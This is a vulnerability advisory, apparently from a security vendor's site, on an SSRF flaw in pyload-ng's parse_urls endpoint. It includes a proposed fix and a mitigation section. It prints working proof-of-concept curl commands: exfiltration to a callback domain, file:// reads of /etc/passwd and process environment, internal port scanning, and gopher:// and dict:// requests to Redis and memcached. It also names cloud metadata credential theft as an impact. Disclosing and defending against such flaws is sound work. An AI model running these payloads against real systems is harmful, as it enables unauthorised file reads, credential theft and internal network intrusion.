CVE-2026-35187 is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in pyload-ng. No vendor fix is recorded yet; mitigation options are listed below.
pyLoad has SSRF in parse_urls API endpoint via unvalidated URL parameter
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35187.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-35187 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- Read local files via
file://protocol (pycurl reads the file server-side) - Interact with internal services via
gopher://anddict://protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/__init__.py (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urls
Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable:
/etc/passwd,/etc/hosts/proc/self/environ(process environment variables)/config/settings/pyload.cfg(pyLoad configuration)/config/data/pyload.db(SQLite database)
PoC 3: Internal port scanning
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
PoC 4: gopher:// and dict:// protocol support
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls
Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via
file://protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (
Couldn't open filevs empty response) - Access cloud metadata endpoints (AWS IAM credentials at
http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing
- Interact with internal services via
gopher://(Redis RCE, SMTP relay) anddict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses:
from urllib.parse import urlparse
import ipaddress
import socket
def _is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
hostname = parsed.hostname
if not hostname:
return False
try:
for info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(info[4][0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
except (socket.gaierror, ValueError):
return False
return True
def parse_urls(self, html=None, url=None):
if url:
if not _is_safe_url(url):
raise ValueError("URL targets a restricted address or uses a disallowed protocol")
page = get_url(url)
urls.update(RE_URLMATCH.findall(page))
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of pyload-ng has shipped for CVE-2026-35187 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-35187 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-35187. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-35187 in your dependencies?
O3 Security finds CVE-2026-35187 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.